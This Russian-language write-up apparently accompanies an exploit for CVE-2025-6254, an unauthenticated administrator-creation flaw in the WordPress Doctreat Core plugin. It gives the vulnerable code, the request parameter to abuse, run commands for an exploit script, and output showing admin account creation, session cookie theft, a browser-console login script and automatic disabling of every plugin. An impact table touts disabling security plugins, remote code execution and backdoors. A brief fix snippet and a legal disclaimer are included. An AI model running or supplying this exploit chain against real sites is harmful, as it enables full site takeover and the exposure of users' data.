
CVE-2025-6254 — Doctreat Core <= 1.6.8 — 未认证权限提升
Плагин WordPress Doctreat Core версий <= 1.6.8 подвержен уязвимости неаутентифицированного повышения привилегий. Эта критическая ошибка позволяет неаутентифицированным злоумышленникам создать новую учётную запись Администратора напрямую через AJAX-конечную точку регистрации плагина.
Уязвимость возникает из-за функции doctreat_process_registration() в файле hooks/hooks.php, которая принимает параметр user_type напрямую из POST-данных, отправленных пользователем, и передаёт его в качестве параметра role в wp_update_user() без надлежащей проверки прав или белого списка. Плагин применяет только esc_sql() (который не проверяет роли) — он никогда не проверяет, является ли роль безопасной для публичной регистрации.
Ключевое открытие: Nonce, используемый Doctreat (scripts_vars.ajax_nonce), раскрывается на любой публичной странице активной темы Doctreat. Параметр user_type, который обычно определяет, регистрируется ли пользователь как "doctors", "hospitals" или "regular_users", может быть переопределён через POST параметром user_type=administrator — и это значение напрямую передаётся в качестве параметра role WordPress.
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administrator вместе с обычными полями регистрацииajax_nonce с публичных страниц темы Doctreat// doctreat_core/hooks/hooks.php ~ строка 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type из $_POST через extract($_POST)
'user_status' => 0
) );
// ~ строка 311 — Устанавливает _is_verified после регистрации
update_user_meta( $user_identity, '_is_verified', 'no' );
Примечание: На целях с настройками верификации по умолчанию ($verify_user пусто или равно 'remove') пользователь автоматически верифицируется и получает немедленный доступ администратора. На целях с верификацией по email или одобрением администратора потребуются дополнительные шаги верификации.
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
После запуска эксплойта скопируйте сгенерированный JavaScript и вставьте его в консоль DevTools вашего браузера (F12):
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests (pip install requests)// БЕЗОПАСНО: Белый список только безопасных ролей для публичной регистрации
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Отклонить ВСЕ опасные роли
}
current_user_can('create_users') для привилегированных ролейuser_type перед передачей в wp_update_user()Эта информация предоставлена только для образовательных и авторизованных тестов на проникновение. Несанкционированная эксплуатация компьютерных систем является незаконной и неэтичной. Всегда получайте явное письменное разрешение перед тестированием любой цели, которая вам не принадлежит.
| Возможность | Воздействие |
|---|
| 🔑 Создать учётную запись администратора без входа | Полный захват сайта |
| 🎛️ Автоматически отключить все плагины безопасности | Обход защиты |
| 💉 Редактировать PHP-файлы плагинов/тем | Удалённое выполнение кода |
| 🕳️ Установить скрытые бэкдоры | Постоянный доступ |
| 👥 Просмотреть все данные пользователей | Нарушение конфиденциальности |